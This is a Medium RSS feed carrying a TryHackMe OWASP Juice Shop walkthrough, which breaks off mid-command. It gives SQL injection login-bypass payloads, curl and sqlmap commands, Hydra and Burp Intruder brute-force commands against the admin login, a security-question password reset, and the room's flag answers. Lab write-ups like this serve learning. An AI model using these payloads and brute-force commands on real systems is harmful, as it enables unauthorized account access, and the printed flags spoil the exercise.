<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yousef Amr on Medium]]></title>
        <description><![CDATA[Stories by Yousef Amr on Medium]]></description>
        <link>https://medium.com/@elbish?source=rss-2a66e1fc7abd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*8-QosPLMEC0tyxP1y79VZg.jpeg</url>
            <title>Stories by Yousef Amr on Medium</title>
            <link>https://medium.com/@elbish?source=rss-2a66e1fc7abd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 13:10:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@elbish/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OWASP Juice Shop TryHackMe Write-Up  Ethical Hacking Walkthrough by Yousef Amr | SQLi, XSS…]]></title>
            <link>https://elbish.medium.com/owasp-juice-shop-tryhackme-write-up-ethical-hacking-walkthrough-by-yousef-amr-sqli-xss-5d3229595cc3?source=rss-2a66e1fc7abd------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d3229595cc3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Yousef Amr]]></dc:creator>
            <pubDate>Sun, 26 Oct 2025 11:37:55 GMT</pubDate>
            <atom:updated>2025-10-26T11:49:45.836Z</atom:updated>
            <content:encoded><![CDATA[<h3>OWASP Juice Shop TryHackMe Write-Up 🍹 Ethical Hacking Walkthrough by Yousef Amr | SQLi, XSS, Broken Access Control &amp; More</h3><p>Written by <strong>Yousef Amr (</strong><a href="https://www.linkedin.com/in/elbish1"><strong>LinkedIn </strong></a><em>, </em><a href="https://tryhackme.com/p/elbish1"><strong>TryHackMe</strong></a>)</p><p>The <strong>Open Web Application Security Project (OWASP)</strong> plays a vital role in strengthening global web security by identifying critical vulnerabilities and promoting secure development practices. One of its most effective educational tools is <strong>OWASP Juice Shop</strong>, a deliberately vulnerable web application designed to replicate real-world security flaws. This article provides a hands-on walkthrough of the TryHackMe room “OWASP Juice Shop” completed by cybersecurity learner <strong>Yousef Amr</strong>, demonstrating practical exploitation techniques including SQL injection, insecure direct object reference, brute-forcing, cross-site scripting, and broken access control. Every action described was executed within a legal Capture the Flag environment for educational purposes, with the goal of helping learners build practical offensive skills, improve awareness of common vulnerabilities, and develop a strong defensive security mindset.</p><figure><img alt="https://tryhackme.com/room/owaspjuiceshop" src="https://cdn-images-1.medium.com/max/1024/1*BR7yVdp1hdOd-ZRkVnYTKA.png" /><figcaption><a href="https://tryhackme.com/room/owaspjuiceshop">https://tryhackme.com/room/owaspjuiceshop</a></figcaption></figure><h3>Task 1: Open for business! (Deploy &amp; access the Juice Shop VM)</h3><p><strong>Goal (Task 1):</strong></p><ul><li>Deploy the TryHackMe OWASP Juice Shop VM and confirm you can reach the web app in your browser.</li><li>Prepare your environment for the rest of the room (Burp proxy, optional OpenVPN connection).</li><li>This task is purely setup/recon — there’s no exploit flag to submit here, only verification that the VM is running and reachable.</li></ul><p><strong>Tools required:</strong></p><ul><li>A TryHackMe account and the Juice Shop room opened in your browser.</li><li>A local Kali/Ubuntu machine or the TryHackMe browser-based machine.</li><li>(Optional) OpenVPN client if you choose non-browser access.</li><li>Burp Suite (for later tasks) have it installed but we’ll only configure it here.</li><li>curl, wget, nmap (Kali has these).</li><li>VM_IPthe IP address shown by TryHackMe after you deploy the VM.</li></ul><p><strong>LEGAL REMINDER:</strong> Only interact with the VM provided by TryHackMe for this room. Do not run these commands against systems you do not own or have explicit permission to test.</p><h3>0) Quick checklist before we start</h3><ol><li>Login to TryHackMe and open the <strong>OWASP Juice Shop</strong> room.</li><li>Click <strong>Deploy</strong> or <strong>Connect</strong> to start the machine. Wait until TryHackMe shows the VM status as <strong>running</strong>.</li><li>Copy the VM IP shown in the room interface (we’ll call it VM_IP below). If you use the browser-based VM, you may not need OpenVPN.</li></ol><h3>1) Option A: Use the TryHackMe browser-based machine (simplest)</h3><p>If the room provides a browser-based Kali (Access with “Launch Instance” / “Access Machine”), do this:</p><ol><li>Click <strong>Access Machine</strong> in the TryHackMe UI.</li><li>In the browser-based Kali, open Firefox and navigate to:</li></ol><pre>http://VM_IP</pre><ol><li>Confirm the Juice Shop homepage loads.</li></ol><p>No terminal commands required here unless you want to test from a shell inside that browser VM (see verification commands below).</p><h3>2) Option B: Connect via OpenVPN (local machine access)</h3><p>If you prefer to use your local Kali VM or laptop, use OpenVPN:</p><h3>a) Download the connection pack</h3><ul><li>In the TryHackMe room, click <strong>Access</strong> → <strong>Download connection pack (OpenVPN)</strong>. Save it as thm.ovpn.</li></ul><h3>b) Install OpenVPN (if not installed)</h3><pre># Debian/Ubuntu/Kali<br>sudo apt update<br>sudo apt install -y openvpn</pre><h3>c) Start OpenVPN</h3><pre># run from the directory where you saved thm.ovpn<br>sudo openvpn --config thm.ovpn</pre><p>Leave this terminal open while you work. You should see Initialization Sequence Completed.</p><h3>d) Verify you have a TryHackMe VPN IP</h3><pre>ip addr show tun0<br># or<br>ip a | grep tun0 -A3</pre><p>You should see an interface tun0 with an IP assigned by TryHackMe.</p><h3>3) Basic network &amp; web verification (command-by-command)</h3><p>Replace VM_IP with the IP from TryHackMe.</p><h3>a) Ping the VM (basic reachability)</h3><pre>ping -c 4 VM_IP</pre><h3>b) Quick port scan to see web service (HTTP)</h3><pre>nmap -Pn -p 80,443 VM_IP<br># or broader:<br>nmap -Pn -p- --min-rate=1000 VM_IP</pre><h3>c) Fetch the homepage HTTP headers</h3><pre>curl -I &quot;http://VM_IP&quot;</pre><p>Expected: HTTP/1.1 200 OK (or a 3xx redirect to /index.html).</p><h3>d) Download and inspect the homepage HTML (optional)</h3><pre>curl -s &quot;http://VM_IP&quot; -o juice_home.html<br># quick grep for &quot;Juice&quot; or &quot;OWASP&quot;<br>grep -i &quot;juice&quot; juice_home.html | head</pre><h3>e) Confirm the web UI in a browser</h3><p>Open:</p><pre>http://VM_IP</pre><p>You should see the OWASP Juice Shop interface (logo, product tiles, search icon, etc.).</p><h3>4) Prepare Burp Suite (for the rest of the room)</h3><p>We’ll configure Burp now so you can switch to it quickly later.</p><h3>a) Start Burp</h3><pre>burpsuite &amp;</pre><h3>b) Ensure Burp listens on 127.0.0.1:8080</h3><ul><li>Burp → Proxy → Options → Proxy Listeners → should show 127.0.0.1:8080.</li><li>If you want to use Burp from another machine/interface, add a listener on 0.0.0.0:8080 and adjust firewall carefully — but for TryHackMe using local browser/VM, 127.0.0.1 is safest.</li></ul><h3>c) Configure the browser to use Burp (Firefox example)</h3><ul><li>Firefox → Preferences → Network Settings → Manual proxy configuration → HTTP Proxy 127.0.0.1 Port 8080 → Use this proxy for all protocols.</li><li>Import Burp CA certificate into the browser later when you need to intercept HTTPS (optional for Task 1).</li></ul><h3>5) Test Burp interception with the Juice Shop homepage</h3><ol><li>Burp → Proxy → Intercept → set <strong>Intercept = ON</strong>.</li><li>In browser, load <a href="http://vm_ip./">http://VM_IP.</a></li><li>Burp should capture the GET request. Click <strong>Forward</strong> to let it through.</li><li>Set <strong>Intercept = OFF</strong> after you confirm Burp sees the traffic (we usually turn it off for reconnaissance).</li></ol><h3>6) Troubleshooting: common problems &amp; fixes</h3><ul><li><strong>VM not starting / status stuck:</strong> wait a minute and refresh the TryHackMe room. If still stuck, Redeploy or check TryHackMe status page.</li><li><strong>No OpenVPN tun0 interface:</strong> ensure sudo openvpn --config thm.ovpn ran successfully and you have internet; check for authentication prompts or missing credentials.</li><li><strong>curl returns connection refused:</strong> verify you used the correct VM_IP, port 80 is open (nmap), and you didn’t accidentally use https:// when only HTTP is served.</li><li><strong>Browser shows garbage/HTTPS errors while using Burp:</strong> import Burp’s CA certificate into the browser: Burp → Proxy → Options → CA Certificate → Export → import into Firefox certificates (Preferences → Privacy &amp; Security → View Certificates).</li><li><strong>403 or blocked pages on first load:</strong> some rooms require you to use th browser-based machine; try that if OpenVPN/browser local access fails.</li></ul><h3>7) Save your environment notes (recommended)</h3><p>Create a short lab notes file so you don’t lose the VM IP, session method, and choices:</p><pre>cat &gt; juice_task1_notes.txt &lt;&lt;&#39;EOF&#39;<br>VM_IP=VM_IP_REPLACE_ME<br>access_method=browser-based or openvpn<br>openvpn_config=thm.ovpn<br>burp_listener=127.0.0.1:8080<br>notes=&quot;Deployed VM and verified homepage; ready for Task 2.&quot;<br>EOF</pre><h3>8) Quick verification checklist (what “done” looks like)</h3><ul><li>VM deployed and status = <strong>running</strong> on TryHackMe.</li><li>Able to open http://VM_IP in a browser and see the Juice Shop UI.</li><li>curl -I http://VM_IP returns 200 OK (or valid redirect) and nmap shows port 80 open.</li><li>Burp Suite can see and intercept requests to the VM (Intercept ON catches GET/POST).</li><li>Notes file saved with VM_IP and access method.</li></ul><h3>Task 2: Let’s go on an adventure! 🧭</h3><p><strong>Goal (Task 2):</strong></p><ul><li>Perform passive reconnaissance (“walk through” the app).</li><li>Find the Administrator’s email.</li><li>Discover the search parameter name.</li><li>Identify the show referenced in Jim’s review.</li><li>Submit the three Task 2 answers to TryHackMe.</li></ul><p><strong>Tools required:</strong></p><ul><li>Browser (Kali/THM browser)</li><li>Burp Suite (Proxy configured at 127.0.0.1:8080)</li><li>Optional CLI tools: curl, wget, grep, jq, nmap</li><li>VM_IPreplace with the IP assigned by TryHackMe</li></ul><h3>0) Quick setup (if not already done)</h3><ol><li>Start Burp Suite:</li></ol><pre>burpsuite &amp;</pre><ol><li>Configure your browser to use Burp proxy: HTTP proxy 127.0.0.1, port 8080.</li><li>In Burp → Proxy → Intercept set <strong>Intercept = OFF</strong> (we want passive logging while exploring).</li><li>Open the Juice Shop in your browser:</li></ol><pre>http://VM_IP</pre><h3>1) Passive reconnaissance “walk through” the app (exact clicks &amp; quick commands)</h3><p>Why: Passive browsing collects visible data (reviews, JS files, footer links) that often contain hints and secrets.</p><p>UI steps (do these in order):</p><ol><li>From the homepage, click several product tiles (Apple Juice, Green Smoothie, etc.).</li><li>On a product page, scroll to the <strong>Reviews</strong> section and read multiple review entries.</li><li>Open the browser DevTools (F12) → Network tab and reload the page once while Burp is logging.</li><li>Visit <strong>About / Legal / FTP</strong> links in the footer (if present).</li><li>Open the <strong>Account</strong> menu and click <strong>Login</strong> (don’t submit anything yet — just note routes).</li><li>Browse to the search icon (magnifying glass) and open it (don’t search yet).</li></ol><p>Optional CLI checks (if you saved HTML or want to fetch raw pages):</p><pre># Fetch homepage HTML for quick grep<br>curl -s &quot;http://VM_IP&quot; -o juice_home.html</pre><pre># Search for obvious admin-like emails or &#39;juice-sh&#39; domain<br>grep -iE &quot;[A-Za-z0-9._%+-]+@juice-sh\.op&quot; juice_home.html || true</pre><pre># List JS files referenced in HTML<br>grep -oP &#39;src=&quot;[^&quot;]+\.js&#39; juice_home.html | sed &#39;s/src=&quot;//g&#39; | sort -u</pre><h3>2) Find the Administrator’s email: step-by-step (UI + DOM + grep)</h3><h3>Method A:UI (recommended)</h3><ol><li>On the homepage click the <strong>Apple Juice</strong> product (or any product that contains reviews).</li><li>Scroll down to <strong>Reviews</strong>. Look at reviewer lines one includes an admin email (visible as reviewer email).</li><li>Copy the exact address you see.</li></ol><h3>Method B: Inspect DOM</h3><ol><li>Right-click the reviews area → <strong>Inspect</strong> (or press F12 → Elements).</li><li>Use the element search (Ctrl+F) and search for admin@ or juice-sh. Copy the full email string when found.</li></ol><h3>Method C: From saved HTML (CLI)</h3><pre># If you saved homepage HTML earlier<br>grep -oP &quot;[A-Za-z0-9._%+-]+@juice-sh\.op&quot; juice_home.html || true</pre><p><strong>Task 2- Q1 (What’s the Administrator’s email address?):</strong></p><blockquote><strong>ans:</strong> admin@juice-sh.op</blockquote><h3>3) Find the search parameter name: step-by-step (UI + URL + curl)</h3><h3>UI method (quick)</h3><ol><li>Click the search icon (top-right) to reveal the search bar.</li><li>Type green and press <strong>Enter</strong>.</li><li>Look at the browser address bar. You should see a hash or query update like:</li></ol><pre>http://VM_IP/#/search?q=green</pre><ol><li>The parameter name is the part after ?here it is q.</li></ol><h3>Network verification (optional)</h3><ul><li>Open DevTools → Network → perform the search → inspect XHR/URL to confirm q is used.</li></ul><h3>Command-line verification (optional)</h3><pre># Try curl of the hash route (may return app shell). This is to check URL pattern only.<br>curl -s &quot;http://VM_IP/#/search?q=green&quot; | head -n 20</pre><p><strong>Task 2- Q2 (What parameter is used for searching?):</strong></p><blockquote><strong>ans:</strong> q</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BgJfchLwONc_7kHa.png" /></figure><h3>4) Identify Jim’s review reference (step-by-step: find &amp; verify)</h3><h3>Steps:</h3><ol><li>Use the search box to search for <strong>Green Smoothie</strong> (or manually open that product page).</li><li>Scroll to reviews and find the review left by <strong>Jim</strong>. Read the review text — Jim references a <strong>replicator</strong>.</li><li>Open a new tab and Google replicator TV (or replicator Star Trek) to confirm the entertainment reference.</li></ol><h3>CLI quick-search (if you saved product HTML)</h3><pre># If you saved the specific product page, search for &#39;replicator&#39;<br>grep -i &quot;replicator&quot; -n product_green_smoothie.html || true</pre><p><strong>Task 2- Q3 (What show does Jim reference in his review?):</strong></p><blockquote><strong>ans:</strong> Star Trek</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/0*KGoJk_YFbo_ct4d2.png" /></figure><h3>5) Capture these items in Burp (optional, for later use)</h3><ol><li>Turn Burp Proxy → Intercept = <strong>ON</strong>.</li><li>Perform the product page load that contained the admin email (the GET request will be captured). Right-click → <strong>Send to Repeater</strong>. Inspect the response body for the review/email.</li><li>For the search action, do the same: perform a search → capture the request/URL in Burp → note the q parameter name.</li><li>Turn <strong>Intercept = OFF</strong> afterwards.</li></ol><h3>6) Save your notes &amp; quick answers (command)</h3><p>Create a tiny notes file for Task 2:</p><pre>cat &gt; task2_answers.txt &lt;&lt;&#39;EOF&#39;<br>admin_email=admin@juice-sh.op<br>search_param=q<br>jim_reference=Star Trek<br>EOF</pre><h3>7) Quick verification checklist (what “done” looks like)</h3><ul><li>Opened site and passively recorded requests in Burp (Intercept OFF).</li><li>Located admin@juice-sh.op in a product review or page source.</li><li>Performed a search and confirmed URL contains q= as the search parameter.</li><li>Found Jim’s “replicator” mention and verified it refers to <strong>Star Trek</strong>.</li><li>Saved task2_answers.txt with the three answers.</li></ul><h3>8) Troubleshooting &amp; common issues</h3><ul><li><strong>I can’t see reviews in UI:</strong> try clicking different products (some products have more reviews). Use DevTools → Elements to locate hidden content.</li><li><strong>Search doesn’t update URL (client routing):</strong> use DevTools → Network tab (XHR) to see which parameter is sent in the request. Some versions reflect parameters in the fragment/hash check after #/search?.</li><li><strong>Admin email not found:</strong> ensure you looked at product reviews and not truncated views; inspect page source (Ctrl+U) and search for admin@.</li><li><strong>Burp shows no requests:</strong> make sure your browser proxy is set correctly to 127.0.0.1:8080 and you haven’t blocked localhost intercept. If using the THM browser-based VM, you may not need local Burp.</li></ul><h3>Task 3: Inject the Juice (SQL Injection)</h3><p><strong>Goal (Task 3):</strong></p><ul><li><strong>Q1: </strong>Perform a simple SQL injection and capture the flag.</li><li><strong>Q2: </strong>Log into the Bender account using SQLi and capture the flag.</li></ul><p><strong>What you’ll need:</strong></p><ul><li>VM_IP = the IP address of your deployed Juice Shop VM (replace VM_IP below).</li><li>Kali VM or browser machine with Burp Suite configured as proxy.</li><li>Burp Suite (Proxy, Repeater, Intruder).</li><li>curl and sqlmap available on Kali (optional).</li></ul><h3>0) Quick setup (if not already done)</h3><ol><li>Start Burp Suite: burpsuite &amp;</li><li>Configure browser to proxy through Burp (127.0.0.1:8080).</li><li>In Burp → Proxy → Intercept = <strong>OFF</strong> for reconnaissance; we will turn it ON when capturing the login.</li><li>Open browser to:</li></ol><pre>http://VM_IP</pre><h3>1) Locate the login page and capture the login request</h3><ol><li>In the Juice Shop UI click <strong>Account → Login</strong> (or /#/login).</li><li>In Burp → Proxy → Intercept set <strong>ON</strong>.</li><li>In the browser, enter any string into the email and password fields (we’ll replace them) and click <strong>Login</strong>.</li><li>Burp will capture the POST request. Right-click the intercepted request → <strong>Send to Repeater</strong>. Keep the request in Repeater for testing.</li></ol><p><strong>What you should see in the POST body (example form fields):</strong></p><pre>email=...&amp;password=...</pre><p>(The exact parameter names may vary by version — capture the real names. In Juice Shop it’s usually email and password.)</p><h3>2) Basic manual SQLi test (use Repeater)</h3><p>We will try a classic tautology injection in the <strong>email</strong> field to bypass authentication.</p><h3>Payload A: basic tautology</h3><ul><li><strong>Email field value (payload):</strong></li></ul><pre>&#39; OR 1=1 --</pre><ul><li><strong>Password:</strong> anything (blank or x)</li></ul><h3>Steps in Repeater</h3><ol><li>In Repeater, locate the POST body. Replace the email value with the payload above. Example raw body:</li></ol><pre>email=&#39; OR 1=1 --&amp;password=</pre><ol><li>Click <strong>Send</strong> in Repeater.</li><li>Observe the response. If the application logs you in or returns a success page / token, you succeeded.</li></ol><h3>Notes:</h3><ul><li>If the app uses JSON instead of form-encoded data, inject the payload into the JSON value:</li></ul><pre>{&quot;email&quot;:&quot;&#39; OR 1=1 --&quot;,&quot;password&quot;:&quot;&quot;}</pre><ul><li>If the site sanitizes simple payloads, try variations:</li></ul><pre>&#39; OR &#39;1&#39;=&#39;1&#39; --<br>&#39; OR &#39;1&#39;=&#39;1&#39; /*<br>admin&#39;-- <br>&#39; OR 1=1#</pre><h3>3) If manual injection returns an error: use known payloads (from payload lists)</h3><p>If the site shows an error or your first payload doesn’t work, try copying known SQLi payloads into the email field. Example list (try each one in Repeater):</p><pre>&#39; OR &#39;1&#39;=&#39;1&#39; --<br>&#39; OR 1=1 --<br>&#39; OR &#39;a&#39;=&#39;a<br>&#39;) OR (&#39;1&#39;=&#39;1<br>&quot; OR &quot;1&quot;=&quot;1<br>&#39; OR &#39;1&#39;=&#39;1&#39; /* <br>&#39; or 1=1 --<br>&#39; or 1=1;--</pre><h3>4) Example curl POST that reproduces the Repeater test (optional)</h3><p>If the login form is application/x-www-form-urlencoded, you can test with curl (replace endpoint path with the actual POST URL from Burp, typically /rest/user/login or the route captured):</p><pre># Example; replace URL and param names with what you captured<br>curl -s -X POST &quot;http://VM_IP/rest/user/login&quot; \<br>  -H &quot;Content-Type: application/x-www-form-urlencoded&quot; \<br>  --data &quot;email=&#39; OR 1=1 --&amp;password=&quot; -v</pre><p>If the app uses JSON:</p><pre>curl -s -X POST &quot;http://VM_IP/rest/user/login&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;email&quot;:&quot;&#39;\&#39;&#39; OR 1=1 --&quot;,&quot;password&quot;:&quot;&quot;}&#39; -v</pre><p>Look for a 200 OK or a JSON response with a token or user data.</p><h3>5) Alternative: use sqlmap to discover injectable parameters automatically (optional)</h3><p>If you prefer automation, sqlmap can test injectable parameters. Use the intercepted request you sent to Repeater and save it to a file req.txt (from Burp: right-click → <strong>Copy to file</strong> or <strong>Save item</strong>). Then run:</p><pre># Basic sqlmap usage using the saved request file<br>sqlmap -r req.txt --batch --level=2 --risk=1 --threads=4</pre><p>sqlmap will test parameters inside the saved request and attempt to identify and exploit SQLi. Follow its prompts (or use --batch to auto-accept).</p><h3>6) Logging into Bender via SQLi (specific payload used in the room)</h3><p>Task 3 Q2 in Juice Shop demonstrates logging into a specific account using a crafted email input.</p><p><strong>Exact payload that works for Bender (as used in room walkthrough):</strong></p><pre>bender@juice-sh.op&#39; --</pre><p>(That is: the target email plus a closing quote and SQL comment sequence.)</p><h3>Steps:</h3><ol><li>In Burp Repeater (with login POST loaded), replace email= value with:</li></ol><pre>bender@juice-sh.op&#39; --</pre><ol><li>Leave password blank or anything.</li><li>Click <strong>Send</strong>.</li><li>If successful, the response should show login success and you will be authenticated to the Bender account.</li></ol><h3>7) Capture the flags (answers)</h3><p>When you successfully perform the SQL injection and complete the challenge in Juice Shop, the room gives you flags (hash strings). Based on the room walkthrough, the correct answers for Task 3 are:</p><p><strong>Task 3 - Q1 (Log into the administrator account!):</strong></p><blockquote><strong>ans:</strong> 690fa3247a99d651e0b26f947baf0b79b4f404a9</blockquote><p><strong>Task 3 - Q2 (Log into the Bender account!):</strong></p><blockquote><strong>ans:</strong> 5ff5052e879e6fef64124e64c82c84ebc809c6c4</blockquote><p>Paste each hash into the TryHackMe task answer field to mark the task complete.</p><h3>8) Verify you can access the targeted account and explore</h3><ol><li>After successful SQLi you may be redirected to a dashboard or receive a session cookie.</li><li>In Burp, check the response headers and cookies; copy the session cookie value.</li><li>Paste the cookie into your browser session (or let Burp forward the authenticated request) to access pages restricted to the logged-in user (e.g., admin areas, user profile).</li><li>Use the UI to find the flag item or navigate to challenge-specific pages mentioned in the task.</li></ol><h3>9) Troubleshooting tips (if it fails)</h3><ul><li>Ensure you captured the exact POST endpoint and parameter names from Burp. Payloads must go into the correct parameter.</li><li>Try different comment sequences: --, #, /*.</li><li>If JSON input is used, wrap payload in JSON string properly and escape quotes.</li><li>If the app filters single quotes, try double-quote variants or use URL-encoded payloads.</li><li>Use sqlmap to detect complex filters automatically.</li><li>Some Juice Shop versions include WAF-like filtering; using the exact payloads from the room hints (above) often succeeds.</li></ul><h3>Task 4: Who broke my lock?!</h3><p><strong>Goals (Task 4):</strong></p><ul><li><strong>Q1: </strong>Bruteforce the Administrator account’s password (use a wordlist / intruder / hydra).</li><li><strong>Q2: </strong>Reset Jim’s password using the forgot-password flow and the weak security question.</li></ul><p><strong>Required tools:</strong></p><ul><li>Burp Suite (Proxy, Repeater, Intruder)</li><li>Hydra (or Burp Intruder)</li><li>wordlists from SecLists (e.g., best1050.txt, rockyou.txt) — commonly at /usr/share/seclists/Passwords/Common-Credentials/best1050.txt</li><li>curl available on Kali (optional)</li><li>VM_IP replace with the TryHackMe VM IP</li></ul><h3>0) Quick setup (if not already done)</h3><ol><li>Start Burp:</li></ol><pre>burpsuite &amp;</pre><ol><li>Set browser proxy to 127.0.0.1:8080.</li><li>Burp → Proxy → Intercept = <strong>OFF</strong> while browsing; turn <strong>ON</strong> when you want to capture the login/logout/reset requests.</li></ol><h3>Part A: Bruteforce the Administrator account’s password (detailed)</h3><h3>Overview / reasoning</h3><p>We will capture the login POST, identify the parameters, then perform a credential enumeration attack with a known password list. Two practical ways: Burp Intruder (GUI) or Hydra (CLI). Use whichever you prefer. Burp Intruder is easier to configure visually; Hydra is faster for simple form posts.</p><h3>1) Capture the login POST with Burp</h3><ol><li>In browser go to http://VM_IP/#/login (or click <strong>Account → Login</strong>).</li><li>In Burp → Proxy → Intercept = <strong>ON</strong>.</li><li>Enter admin@juice-sh.op as email (or admin depending on the form) and a dummy password x and click <strong>Login</strong>.</li><li>Burp will intercept the POST request. Right-click the captured request → <strong>Send to Repeater</strong> (and <strong>Save</strong> it for reference).</li></ol><p><strong>You should see in the request body something like:</strong></p><pre>email=admin@juice-sh.op&amp;password=x</pre><p>or JSON:</p><pre>{&quot;email&quot;:&quot;admin@juice-sh.op&quot;,&quot;password&quot;:&quot;x&quot;}</pre><p>Note the exact POST path in the request line: e.g.</p><pre>POST /rest/user/login HTTP/1.1<br>Host: VM_IP</pre><p>You will need that path for Hydra / curl.</p><p>Turn <strong>Intercept = OFF</strong> after you save the request.</p><h3>2) Option 1: Burp Intruder (GUI)</h3><p>Use Burp Intruder if you want a guided GUI approach.</p><h4>a) Send request to Intruder</h4><ul><li>In Repeater/Proxy right-click → <strong>Send to Intruder</strong>.</li></ul><h4>b) Positions tab</h4><ul><li>Intruder → Positions: click <strong>Clear §</strong> then highlight the password value only and click <strong>Add §</strong>. The payload position should be only the password text.</li><li>Target should be your VM_IP and path /rest/user/login (as captured).</li></ul><h4>c) Payloads tab</h4><ul><li>Payload type: <strong>Simple list</strong>.</li><li>Load file → browse to:</li></ul><pre>/usr/share/seclists/Passwords/Common-Credentials/best1050.txt</pre><p>(or best1050.txt, best1100.txt, or rockyou.txt depending on your Downloaded lists).</p><h4>d) Start attack</h4><ul><li>Click <strong>Start attack</strong> (Community edition will be single-threaded and slow but works).</li><li>Monitor responses. Filter by responses with HTTP <strong>200</strong> (success) vs <strong>401/403</strong> (fail). A successful login often returns 200 or different response size.</li></ul><h4>e) When you find success</h4><ul><li>Note the password that worked from the payload list. Use it in the UI to login and capture the flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R8IM-rwhpt5jx7RL.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L7Il2UZ8RbNgEofZ.png" /></figure><h3>3) Option 2: Hydra (CLI)</h3><p>Hydra is a fast CLI brute-force tool. Use the exact form data captured in Burp.</p><p><strong>Syntax for form POST using </strong><strong>http-post-form:</strong></p><pre>hydra -l admin@juice-sh.op -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt VM_IP http-post-form &quot;/rest/user/login:email=^USER^&amp;password=^PASS^:F=incorrect&quot;</pre><p><strong>Explanation / adjustments:</strong></p><ul><li>Replace /rest/user/login with the exact path you captured.</li><li>The :F=incorrect part is the failure string — if the app returns a specific error body like &quot;Unauthorized&quot; or &quot;401&quot;, replace incorrect with a string that appears on failed attempts. If unsure, you can try :F=401 or :F=Fail but more reliable is to use Burp Intruder where you can see status codes.</li><li>If the app uses JSON, Hydra supports a JSON payload format with http-post-form by passing json={&quot;email&quot;:&quot;^USER^&quot;,&quot;password&quot;:&quot;^PASS^&quot;} but CLI quoting needs care:</li></ul><pre>hydra -l admin@juice-sh.op -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt VM_IP http-post-form &quot;/rest/user/login:email=^USER^&amp;password=^PASS^:F=Invalid&quot;</pre><p><strong>Example (common working pattern):</strong></p><pre>hydra -s 80 -l admin@juice-sh.op -P /usr/share/seclists/Passwords/Common-Credentials/best1050.txt VM_IP http-post-form &quot;/rest/user/login:email=^USER^&amp;password=^PASS^:F=Unauthorized&quot;</pre><p><strong>Note:</strong> Hydraspeed depends on network &amp; service. If Hydra is failing due to unknown failure string, switch to Burp Intruder where you can visually detect 200 vs 401.</p><h3>4) What the walkthrough found (flag)</h3><p>The walkthrough used a best1050 style list and found the admin password and the flag for Task 4 Q1.</p><p><strong>Task 4 - Q1 (Bruteforce the Administrator account’s password!):</strong></p><blockquote><strong>ans:</strong> ff4aebffe31b0ffdea9bdd0207a16a3c01ac6c56</blockquote><p>Submit that hash in TryHackMe.</p><h3>5) After you find the password: login and verify</h3><ol><li>Log in to the site with admin@juice-sh.op and the discovered password.</li><li>Check admin pages / account area to ensure you are authenticated.</li><li>If you captured cookies via Burp, you can inspect Set-Cookie and replay requests with the session.</li></ol><h3>Part B: Reset Jim’s password (Forgot Password / weak security question)</h3><h3>Overview / reasoning</h3><p>The password reset flow asks a security question that is derived from user data or public info. The room hint pointed to Jim and a Star Trek reference. The answer is the sibling name “Samuel” derived from Jim Kirk family info. We will perform the reset via the UI and capture the flow in Burp for exact POST calls if you wish to automate.</p><h3>1) Open the Forgot Password flow in the UI (step by step)</h3><ol><li>In the browser, go to <a href="http://vm_ip/#/login.">http://VM_IP/#/login.</a></li><li>Click <strong>Forgot Password</strong> (or /#/forgot-password route).</li><li>Enter Jim’s email (likely jim@juice-sh.op or jim@juice-sh.op confirm email from Task 2 if necessary). If the room uses different emails, use the one shown in reviews earlier for Jim.</li><li>Click <strong>Submit</strong> (the site will display the security question for that user).</li></ol><p><strong>If you prefer to capture with Burp:</strong></p><ul><li>Turn Burp Proxy → Intercept = <strong>ON</strong> before clicking Submit so you can inspect the request and response.</li></ul><h3>2) Answer the security question</h3><ul><li>The security question in the Juice Shop room for Jim is:<br> <strong>“Your eldest sibling’s middle name?”</strong></li><li>The walkthrough found the answer by googling Jim + Star Trek references and discovered the brother’s name:<br> <strong>Answer:</strong> Samuel</li></ul><p><strong>UI steps:</strong></p><ol><li>Type Samuel into the answer field.</li><li>Choose a new password (set to something simple for the exercise, e.g., NewPass123! or admin123 used in the walkthrough).</li><li>Submit the new password form.</li></ol><p><strong>If using Burp / Repeater to automate the POST:</strong></p><ul><li>Capture the POST request that the reset form sends (it may be to /rest/user/reset-password or similar).</li><li>In Repeater modify the JSON/body to include:</li></ul><pre>{<br>  &quot;email&quot;:&quot;jim@juice-sh.op&quot;,<br>  &quot;securityAnswer&quot;:&quot;Samuel&quot;,<br>  &quot;newPassword&quot;:&quot;NewPass123!&quot;<br>}</pre><ul><li>Click <strong>Send</strong> in Repeater to apply the reset.</li></ul><h3>3) Log in as Jim with the new password</h3><ul><li>After reset success, go to login page and authenticate:</li></ul><pre>email: jim@juice-sh.op<br>password: NewPass123!</pre><ul><li>If login works, you’ll be in Jim’s account and can collect the flag.</li></ul><h3>4) What the walkthrough found (flag)</h3><ul><li><strong>Task 4 - Q2 (Reset Jim’s password!):</strong></li></ul><blockquote><strong>ans:</strong> 3c3e2d6ef99b733b947e92f8e2a9ed08bf57ea63</blockquote><h3>6) Quick curl examples (optional automation)</h3><p>If you captured the exact POST endpoints and the app accepts application/x-www-form-urlencoded, you can perform the reset via curl. Replace endpoints with what Burp showed.</p><p><strong>Example reset (form-encoded):</strong></p><pre>curl -s -X POST &quot;http://VM_IP/rest/user/forgot-password&quot; \<br>  -H 